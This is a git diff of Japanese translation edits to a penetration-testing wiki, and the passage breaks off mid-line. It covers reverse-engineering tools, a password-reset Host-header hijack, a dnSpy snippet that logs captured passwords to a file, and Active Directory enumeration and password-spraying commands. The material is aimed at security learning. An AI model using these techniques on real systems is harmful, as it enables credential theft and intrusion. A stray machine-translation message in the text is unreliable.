[dotPeek](https://www.jetbrains.com/decompiler/) -dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む**複数のフォーマットをデコンパイルおよび検査**するデコンパイラです。デコンパイルされた後、アセンブリはVisual Studioプロジェクト(.csproj)として保存できます。 +dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイル**(.winmd)、および**実行可能ファイル**(.exe)を含む複数のフォーマットを**デコンパイル**および検査するデコンパイラです。デコンパイルされた後、アセンブリはVisual Studioプロジェクト(.csproj)として保存できます。 ここでの利点は、失われたソースコードをレガシーアセンブリから復元する必要がある場合、このアクションが時間を節約できることです。さらに、dotPeekはデコンパイルされたコード全体を便利にナビゲートできるため、**Xamarinアルゴリズム分析**に最適なツールの1つです。 @@ -33,21 +33,21 @@ dotPeekは、**ライブラリ**(.dll)、**Windowsメタデータファイ 包括的なアドインモデルと、ツールを正確なニーズに合わせて拡張するAPIを備えた.NET Reflectorは、時間を節約し、開発を簡素化します。このツールが提供する逆コンパイルサービスの数々を見てみましょう: -- ライブラリやコンポーネントを通じてデータがどのように流れるかの洞察を提供 -- .NET言語やフレームワークの実装と使用に関する洞察を提供 -- APIや使用されている技術からより多くの機能を引き出すために、文書化されていない機能や公開されていない機能を見つける -- 依存関係や異なるアセンブリを見つける -- コード、サードパーティコンポーネント、ライブラリ内のエラーの正確な場所を追跡 -- あなたが扱うすべての.NETコードのソースをデバッグ +- ライブラリやコンポーネントを通じてデータがどのように流れるかの洞察を提供します。 +- .NET言語やフレームワークの実装と使用に関する洞察を提供します。 +- 使用されているAPIや技術からより多くの情報を得るために、文書化されていない機能や公開されていない機能を見つけます。 +- 依存関係や異なるアセンブリを見つけます。 +- コード、サードパーティコンポーネント、およびライブラリ内のエラーの正確な位置を追跡します。 +- あなたが扱うすべての.NETコードのソースをデバッグします。 ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) -[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode): どのOSでも使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。**拡張機能**をクリックし、**ILSpyを検索**します)。\ -**デコンパイル**、**修正**、再度**コンパイル**する必要がある場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそのアクティブにメンテナンスされているフォークである[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます。(**右クリック -> メソッドを修正**して関数内の何かを変更します)。 +[Visual Studio Code用ILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode): どのOSでも使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。**拡張機能**をクリックし、**ILSpy**を検索してください)。\ +**デコンパイル**、**修正**、および再コンパイルが必要な場合は、[**dnSpy**](https://github.com/dnSpy/dnSpy/releases)またはそのアクティブにメンテナンスされているフォークである[**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)を使用できます。(**右クリック -> メソッドを修正**して関数内の何かを変更します)。 ### DNSpyロギング -**DNSpyがファイルに情報をログする**ために、このスニペットを使用できます: +**DNSpyがファイルに情報をログする**ためには、次のスニペットを使用できます: ```cs using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; @@ -55,7 +55,7 @@ File.AppendAllText(path, "Password: " + password + "\n"); ``` ### DNSpy デバッグ -DNSpy を使用してコードをデバッグするには、次の手順を実行する必要があります。 +DNSpy を使用してコードをデバッグするには、次のことを行う必要があります。 まず、**デバッグ**に関連する **Assembly 属性** を変更します: @@ -63,24 +63,24 @@ DNSpy を使用してコードをデバッグするには、次の手順を実 ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` -翻訳するテキストが提供されていません。翻訳が必要な内容を教えてください。 +翻訳するテキストが提供されていません。翻訳が必要な内容を提供してください。 ``` [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] ``` -そして、**コンパイル**をクリックします: +そして、**compile**をクリックします: ![](<../../images/image (314) (1).png>) -次に、_**ファイル >> モジュールを保存...**_を介して新しいファイルを保存します: +次に、_**File >> Save module...**_を介して新しいファイルを保存します: ![](<../../images/image (602).png>) -これは必要です。なぜなら、これを行わないと、**ランタイム**中にいくつかの**最適化**がコードに適用され、デバッグ中に**ブレークポイントが決してヒットしない**か、いくつかの**変数が存在しない**可能性があるからです。 +これは必要です。なぜなら、これを行わないと、**runtime**中にいくつかの**optimisations**がコードに適用され、デバッグ中に**break-pointが決してヒットしない**か、いくつかの**variablesが存在しない**可能性があるからです。 -次に、.NETアプリケーションが**IIS**によって**実行**されている場合は、次のコマンドで**再起動**できます: +次に、.NETアプリケーションが**IIS**によって**run**されている場合は、次のコマンドで**restart**できます: ``` iisreset /noforce ``` @@ -92,7 +92,7 @@ iisreset /noforce ![](<../../images/image (113).png>) -プロセスのデバッグを開始したので、実行を停止してすべてのモジュールをロードする時間です。まず、_Debug >> Break All_をクリックし、次に_**Debug >> Windows >> Modules**_をクリックします: +プロセスのデバッグを開始したので、実行を停止してすべてのモジュールを読み込む時間です。まず、_Debug >> Break All_をクリックし、次に_**Debug >> Windows >> Modules**_をクリックします: ![](<../../images/image (132).png>) @@ -121,20 +121,20 @@ iisreset /noforce ![](<../../images/image (868).png>) -- 実行の**パラメータ**を設定し、**DLLのパス**と呼び出したい関数を指定します: +- 実行の**parameters**を設定し、**DLLのパス**と呼び出したい関数を指定します: ![](<../../images/image (704).png>) -次に、デバッグを開始すると、**各DLLがロードされると実行が停止します**。その後、rundll32があなたのDLLをロードすると、実行が停止します。 +次に、デバッグを開始すると、**各DLLが読み込まれるときに実行が停止します**。その後、rundll32がDLLを読み込むと、実行が停止します。 -しかし、ロードされたDLLのコードにどうやってアクセスできますか?この方法では、私はわかりません。 +しかし、読み込まれたDLLのコードにどうやってアクセスできますか?この方法では、私はわかりません。 ### Using x64dbg/x32dbg - **Load rundll32** (64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe) - **Command Lineを変更** (_File --> Change Command Line_)し、DLLのパスと呼び出したい関数を設定します。例えば:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain - _Options --> Settings_を変更し、**DLL Entry**を選択します。 -- その後、**実行を開始**します。デバッガは各DLLのメインで停止し、ある時点で**あなたのDLLのDLL Entryで停止します**。そこから、ブレークポイントを設定したいポイントを検索します。 +- 次に、**実行を開始**します。デバッガは各DLLのメインで停止し、ある時点で**あなたのDLLのDLL Entryで停止します**。そこから、ブレークポイントを設定したいポイントを検索します。 実行が何らかの理由でwin64dbgで停止した場合、**win64dbgウィンドウの上部**で**どのコードを見ているか**を確認できます: @@ -150,20 +150,22 @@ iisreset /noforce cheat-engine.md {{#endref}} -[**PiNCE**](https://github.com/korcankaraokcu/PINCE)は、GNU Project Debugger (GDB)のフロントエンド/リバースエンジニアリングツールで、ゲームに特化しています。ただし、リバースエンジニアリング関連の作業にも使用できます。 +[**PiNCE**](https://github.com/korcankaraokcu/PINCE)は、GNU Project Debugger (GDB)のフロントエンド/リバースエンジニアリングツールで、ゲームに特化しています。ただし、リバースエンジニアリングに関連する任意の作業にも使用できます。 [**Decompiler Explorer**](https://dogbolt.org/)は、いくつかのデコンパイラへのウェブフロントエンドです。このウェブサービスを使用すると、小さな実行可能ファイルに対する異なるデコンパイラの出力を比較できます。 ## ARM & MIPS -{% embed url="https://github.com/nongiach/arm_now" %} +{{#ref}} +https://github.com/nongiach/arm_now +{{#endref}} ## Shellcodes ### Debugging a shellcode with blobrunner [**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**shellcode**をメモリのスペース内に**割り当て**、**shellcode**が割り当てられた**メモリアドレス**を**示し**、実行を**停止**します。\ -その後、プロセスに**デバッガ**(Idaまたはx64dbg)をアタッチし、**指定されたメモリアドレスにブレークポイントを設定**し、実行を**再開**します。この方法で、shellcodeをデバッグします。 +次に、プロセスに**デバッガ**(Idaまたはx64dbg)をアタッチし、**指定されたメモリアドレスにブレークポイントを設定**し、実行を**再開**します。これにより、shellcodeのデバッグが行えます。 リリースのGitHubページには、コンパイルされたリリースを含むzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ 以下のリンクにBlobrunnerのわずかに修正されたバージョンがあります。コンパイルするには、**Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピー&ペーストしてビルド**します。 @@ -174,17 +176,17 @@ blobrunner.md ### Debugging a shellcode with jmp2it -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerに非常に似ています。**shellcode**をメモリのスペース内に**割り当て**、**永遠のループ**を開始します。その後、プロセスに**デバッガをアタッチ**し、**再生を開始して2-5秒待ち、停止を押す**と、**永遠のループ**内に入ります。永遠のループの次の命令にジャンプすると、それはshellcodeへの呼び出しになります。最終的に、shellcodeを実行している自分を見つけることができます。 +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerに非常に似ています。**shellcode**をメモリのスペース内に**割り当て**、**永遠のループ**を開始します。次に、プロセスに**デバッガをアタッチ**し、**再生を開始して2-5秒待ち、停止を押す**と、**永遠のループ**の中にいることになります。永遠のループの次の命令にジャンプすると、それはshellcodeへの呼び出しになります。最終的に、shellcodeを実行している自分を見つけることになります。 ![](<../../images/image (509).png>) -コンパイルされたバージョンは、[リリースページ](https://github.com/adamkramer/jmp2it/releases/)からダウンロードできます。 +コンパイルされたバージョンは[jmp2itのリリースページ](https://github.com/adamkramer/jmp2it/releases/)からダウンロードできます。 ### Debugging shellcode using Cutter [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、shellcodeをエミュレートし、動的に検査できます。 -Cutterは「ファイルを開く」と「shellcodeを開く」を許可します。私の場合、shellcodeをファイルとして開くと正しくデコンパイルされましたが、shellcodeとして開くとそうではありませんでした: +Cutterでは「ファイルを開く」と「shellcodeを開く」が可能です。私の場合、shellcodeをファイルとして開くと正しくデコンパイルされましたが、shellcodeとして開くとそうではありませんでした: ![](<../../images/image (562).png>) @@ -194,7 +196,7 @@ Cutterは「ファイルを開く」と「shellcodeを開く」を許可しま ![](<../../images/image (387).png>) -例えば、16進ダンプ内でスタックを見ることができます: +例えば、hexダンプ内でスタックを見ることができます: ![](<../../images/image (186).png>) @@ -222,7 +224,7 @@ scDbgには、選択したオプションを選んでシェルコードを実行 ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) -この難読化ツールは、**すべての`mov`命令を修正します**(本当にクールです)。実行フローを変更するために割り込みも使用します。どのように機能するかについての詳細は以下を参照してください: +この難読化ツールは、**すべての`mov`命令を修正します**(本当にクールです)。実行フローを変更するために割り込みも使用します。どのように機能するかについての詳細情報: - [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) - [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) @@ -278,7 +280,7 @@ Golangバイナリをリバースする必要がある場合は、IDAプラグ GBAゲームの**バイナリ**を取得した場合、さまざまなツールを使用して**エミュレート**および**デバッグ**できます: - [**no$gba**](https://problemkaputt.de/gba.htm) (_デバッグ版をダウンロード_) - インターフェースを持つデバッガーを含む -- [**mgba** ](https://mgba.io)- CLIデバッガーを含む +- [**mgba** ](https://mgba.io) - CLIデバッガーを含む - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン @@ -286,7 +288,7 @@ GBAゲームの**バイナリ**を取得した場合、さまざまなツール ![](<../../images/image (581).png>) -押されると、各**キーには識別するための値**があります: +押すと、各**キーには識別するための値**があります: ``` A = 1 B = 2 @@ -368,11 +370,11 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; ``` 前のコードでは、**uVar1**(**押されたボタンの値**が格納されている場所)をいくつかの値と比較しています: -- 最初に、**値4**(**SELECT**ボタン)と比較されています:このチャレンジでは、このボタンは画面をクリアします。 -- 次に、**値8**(**START**ボタン)と比較されています:このチャレンジでは、コードがフラグを取得するのに有効かどうかを確認します。 +- 最初に、**値4**(**SELECT**ボタン)と比較されます:このチャレンジでは、このボタンは画面をクリアします。 +- 次に、**値8**(**START**ボタン)と比較されます:このチャレンジでは、コードがフラグを取得するのに有効かどうかを確認します。 - この場合、変数**`DAT_030000d8`**は0xf3と比較され、値が同じであればいくつかのコードが実行されます。 - その他のケースでは、いくつかのcont(`DAT_030000d4`)がチェックされます。これは、コードに入った直後に1を加算するためcontです。\ -**8未満の場合、**\*\*`DAT_030000d8` \*\*に値を**加算する**ことが行われます(基本的に、contが8未満の間、押されたキーの値をこの変数に加算しています)。 +**8未満**の場合、**`DAT_030000d8`**に値を**加算する**ことが行われます(基本的に、contが8未満の間、押されたキーの値をこの変数に加算しています)。 したがって、このチャレンジでは、ボタンの値を知っている必要があり、**結果の合計が0xf3になるように、長さが8未満の組み合わせを押す必要があります。** @@ -380,7 +382,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; ## Game Boy -{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %} +{{#ref}} +https://www.youtube.com/watch?v=VVbRe7wr3G4 +{{#endref}} ## コース diff --git a/src/robots.txt b/src/robots.txt new file mode 100644 index 000000000..025b9346b --- /dev/null +++ b/src/robots.txt @@ -0,0 +1,4 @@ +Sitemap: https://www.hacktricks.wiki/sitemap.xml + +User-agent: * +Disallow: \ No newline at end of file diff --git a/src/stego/esoteric-languages.md b/src/stego/esoteric-languages.md index 936c31069..79b6cf956 100644 --- a/src/stego/esoteric-languages.md +++ b/src/stego/esoteric-languages.md @@ -4,7 +4,7 @@ ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -そのウィキをチェックして、より多くのエソテリック言語を探してください。 +そのウィキをチェックして、さらに多くのエソテリック言語を検索してください。 ## Malbolge ``` @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/todo/burp-suite.md b/src/todo/burp-suite.md index 8ee6322d0..3b6023e04 100644 --- a/src/todo/burp-suite.md +++ b/src/todo/burp-suite.md @@ -10,7 +10,9 @@ [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : コマンドを実行し、burpcollabへのDNSリクエストを介して出力を取得するためのペイロード。 -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md index 3cab6e19f..56c554eac 100644 --- a/src/todo/other-web-tricks.md +++ b/src/todo/other-web-tricks.md @@ -1,34 +1,36 @@ -# その他のウェブトリック +# Other Web Tricks {{#include ../banners/hacktricks-training.md}} -### Hostヘッダー +### Host header -バックエンドが**Hostヘッダー**を信頼していくつかのアクションを実行することが何度かあります。例えば、その値を**パスワードリセットを送信するドメイン**として使用することがあります。したがって、パスワードリセットのリンクが含まれたメールを受け取ると、使用されるドメインはHostヘッダーに入力したものになります。その後、他のユーザーのパスワードリセットをリクエストし、ドメインをあなたが制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 +バックエンドは、いくつかのアクションを実行するために**Host header**を信頼することがあります。たとえば、その値を**パスワードリセットを送信するドメイン**として使用することがあります。したがって、パスワードをリセットするためのリンクが含まれたメールを受け取ったとき、使用されるドメインはHost headerに入力したものです。その後、他のユーザーのパスワードリセットを要求し、ドメインをあなたが制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない可能性があることに注意してください。おそらく**スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析するでしょう**。 +> ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない場合もあることに注意してください。おそらく**スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析するでしょう**。 -### セッションブール値 +### Session booleans -時々、いくつかの検証を正しく完了すると、バックエンドは**セッションのセキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、そのチェックに成功したかどうかを知ることができます。\ -しかし、もし**チェックに合格**し、セッションがそのセキュリティ属性に「True」値を付与された場合、**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセスする権限はないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 +時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、そのチェックに成功したかどうかを知ることができます。\ +しかし、もしあなたが**チェックに合格し**、セッションがそのセキュリティ属性に「True」値を付与された場合、**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセス権がないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### 登録機能 +### Register functionality 既存のユーザーとして登録を試みてください。また、同等の文字(ドット、たくさんのスペース、Unicode)を使用してみてください。 -### メールの乗っ取り +### Takeover emails -メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録したメールに送信される場合、任意のメールを乗っ取ることができます。また、2番目のメールが最初のメールを確認することを有効にできる場合も、任意のアカウントを乗っ取ることができます。 +メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録されたメールに送信される場合、任意のメールを乗っ取ることができます。また、2番目のメールが最初のメールを確認することを有効にできる場合、任意のアカウントを乗っ取ることもできます。 -### Atlassianを使用した企業の内部サービスデスクへのアクセス +### Access Internal servicedesk of companies using atlassian -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} -### TRACEメソッド +### TRACE method -開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。例えば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、ウェブサーバーは`TRACE`メソッドを使用したリクエストに対して、受信した正確なリクエストを応答にエコーして返します。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、Webサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) diff --git a/src/todo/references.md b/src/todo/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/todo/references.md +++ b/src/todo/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 792da01fd..7286e717e 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -41,15 +41,15 @@ AD環境にアクセスできるが、クレデンシャル/セッションがない場合は、次のことができます: - **ネットワークのペンテスト:** -- ネットワークをスキャンし、マシンやオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。 -- DNSを列挙することで、ドメイン内の重要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。 +- ネットワークをスキャンし、マシンやオープンポートを見つけ、そこから**脆弱性を悪用**したり**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。 +- DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - 一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認して、これを行う方法についての詳細情報を見つけてください。 - **smbサービスでのnullおよびGuestアクセスを確認**(これは最新のWindowsバージョンでは機能しません): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` -- SMBサーバーを列挙する方法についての詳細なガイドはここにあります: +- SMBサーバーを列挙する方法に関する詳細なガイドはここにあります: {{#ref}} ../../network-services-pentesting/pentesting-smb/ @@ -57,7 +57,7 @@ AD環境にアクセスできるが、クレデンシャル/セッションが - **Ldapを列挙** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAPを列挙する方法についての詳細なガイドはここにあります(**匿名アクセスに特に注意してください**): +- LDAPを列挙する方法に関する詳細なガイドはここにあります(**匿名アクセスに特に注意してください**): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -69,7 +69,7 @@ AD環境にアクセスできるが、クレデンシャル/セッションが - [**悪意のあるUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - 内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、公開されている情報からも収集します。 -- 会社の従業員の完全な名前が見つかった場合、さまざまなAD **ユーザー名の慣習**を試すことができます([**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な慣習は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3つのランダムな数字_(abc123)です。 +- 会社の従業員の完全な名前が見つかった場合、さまざまなAD **ユーザー名の規則**を試すことができます([**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な規則は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3つのランダムな数字_(abc123)です。 - ツール: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -90,7 +90,7 @@ crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq ``` - **OWA (Outlook Web Access) サーバー** -ネットワーク内でこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行することもできます**。たとえば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper) を使用できます: +ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行することもできます**。例えば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用することができます: ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password さて、有効なユーザー名はすでに知っているが、パスワードはない... それなら試してみてください: - [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。 -- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、誰かが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。 +- [**Password Spraying**](password-spraying.md): 発見された各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。 - OWAサーバーを**スプレー**して、ユーザーのメールサーバーへのアクセスを試みることもできます。 {{#ref}} @@ -139,9 +139,9 @@ password-spraying.md ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## 資格情報/セッションを使用したアクティブディレクトリの列挙 +## 認証情報/セッションを使用したアクティブディレクトリの列挙 -このフェーズでは、**有効なドメインアカウントの資格情報またはセッションを侵害している必要があります。** 有効な資格情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。 +このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。 認証された列挙を開始する前に、**Kerberosダブルホップ問題**が何であるかを知っておく必要があります。 @@ -156,28 +156,28 @@ kerberos-double-hop-problem.md [**ASREPRoast**](asreproast.md)に関しては、今やすべての可能な脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。 - [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。 -- [**PowerShellを使用してリコン**](../basic-powershell-for-pentesters/)することもでき、よりステルス性があります。 +- 